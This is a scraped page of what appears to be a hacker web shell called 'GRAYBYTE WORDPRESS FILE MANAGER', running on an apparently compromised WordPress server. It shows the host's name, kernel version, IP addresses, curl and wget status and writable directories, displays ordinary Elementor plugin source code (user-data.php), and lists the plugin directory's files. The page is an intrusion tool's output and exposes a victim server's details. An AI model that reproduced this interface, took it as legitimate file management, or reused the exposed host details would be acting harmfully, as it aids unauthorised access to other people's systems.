✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/elementor/includes//user-data.php
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class User_Data {
	const API_NAMESPACE = 'elementor/v1';
	const API_BASE = '/user-data/current-user';

	public static function init() {
		add_action( 'rest_api_init', fn() => self::register_routes() );
	}

	private static function register_routes() {
		register_rest_route( self::API_NAMESPACE, self::API_BASE, [
			[
				'methods' => 'GET',
				'callback' => fn( $request ) => self::route_wrapper( fn() => self::get_current_user( $request ) ),
				'permission_callback' => fn() => is_user_logged_in(),
			],
			[
				'methods' => 'PATCH',
				'callback' => fn( $request ) => self::route_wrapper( fn() => self::update_current_user( $request ) ),
				'permission_callback' => fn() => is_user_logged_in(),
				'args' => [
					'suppressedMessages' => [
						'required' => false,
						'type' => 'array',
						'description' => 'Array of suppressed message keys',
						'items' => [
							'type' => 'string',
						],
						'validate_callback' => function( $param, $request, $key ) {
							return is_array( $param );
						},
						'sanitize_callback' => fn( $param, $request, $key ) => self::sanitize_suppressed_messages( $param, $request, $key ),
					],
				],
			],
		] );
	}

	/**
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error Response object or error.
	 */
	public static function get_current_user( $request ) {
		$current_user = wp_get_current_user();
		$introduction_meta = User::get_introduction_meta();

		$suppressed_messages = [];
		if ( is_array( $introduction_meta ) ) {
			foreach ( $introduction_meta as $key => $value ) {
				if ( $value ) {
					$suppressed_messages[] = $key;
				}
			}
		}

		$capabilities = array_keys( $current_user->allcaps );

		$data = [
			'suppressedMessages' => $suppressed_messages,
			'capabilities' => $capabilities,
		];

		return new \WP_REST_Response( $data, 200 );
	}

	/**
	 * @param \WP_REST_Request $request The request object.
	 * @return \WP_REST_Response|\WP_Error Response object or error.
	 */
	public static function update_current_user( $request ) {
		$user_id = get_current_user_id();

		$suppressed_messages = $request->get_param( 'suppressedMessages' );

		if ( $request->has_param( 'suppressedMessages' ) && is_array( $suppressed_messages ) ) {
			$introduction_meta = [];
			foreach ( $suppressed_messages as $message ) {
				$introduction_meta[ $message ] = true;
			}

			update_user_meta( $user_id, User::INTRODUCTION_KEY, $introduction_meta );
		}

		return self::get_current_user( $request );
	}

	/**
	 * @param array            $param The parameter value.
	 * @param \WP_REST_Request $request The request object.
	 * @param string           $key The parameter key.
	 *
	 * @return array|null The sanitized array or null.
	 */
	public static function sanitize_suppressed_messages( $param, $request, $key ) {
		if ( ! is_array( $param ) ) {
			return null;
		}

		$sanitized_messages = [];
		foreach ( $param as $message ) {
			if ( is_string( $message ) ) {
				$sanitized_message = sanitize_text_field( $message );

				if ( ! empty( $sanitized_message ) ) {
					$sanitized_messages[] = $sanitized_message;
				}
			}
		}

		return $sanitized_messages;
	}

	private static function route_wrapper( callable $cb ) {
		try {
			$response = $cb();
		} catch ( \Exception $e ) {
			return new \WP_Error( 'unexpected_error', 'Something went wrong', [ 'status' => 500 ] );
		}

		return $response;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
admin-templates
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
base
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
controls
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
editor-templates
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
elements
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
interfaces
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
libraries
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
managers
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
settings
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
template-library
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
widgets
--
9 Jun 2026 8.37 AM
builxejc / builxejc
0755
api.php
8.67 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644
autoloader.php
9.787 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
beta-testers.php
2.987 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
compatibility.php
10.958 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
conditions.php
2.703 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
db.php
15.895 KB
2 Feb 2026 2.52 PM
builxejc / builxejc
0644
editor-assets-api.php
2.982 KB
30 Mar 2026 1.49 PM
builxejc / builxejc
0644
embed.php
8.476 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
fonts.php
62.528 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
frontend.php
40.028 KB
20 Apr 2026 3.03 PM
builxejc / builxejc
0644
heartbeat.php
2.573 KB
23 Apr 2023 3.22 PM
builxejc / builxejc
0644
maintenance-mode.php
11.158 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
maintenance.php
2.813 KB
17 Mar 2025 5.28 PM
builxejc / builxejc
0644
plugin.php
16.682 KB
26 May 2026 12.54 PM
builxejc / builxejc
0644
preview.php
7.926 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644
rollback.php
4.155 KB
20 Jan 2026 1.22 PM
builxejc / builxejc
0644
shapes.php
7.812 KB
5 Aug 2025 6.00 PM
builxejc / builxejc
0644
stylesheet.php
8.91 KB
15 Sep 2025 2.10 PM
builxejc / builxejc
0644
tracker.php
16.999 KB
10 Nov 2025 4.25 PM
builxejc / builxejc
0644
user-data.php
3.439 KB
21 Oct 2025 4.51 PM
builxejc / builxejc
0644
user.php
9.99 KB
4 Dec 2025 10.09 PM
builxejc / builxejc
0644
utils.php
24.877 KB
20 May 2026 4.19 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF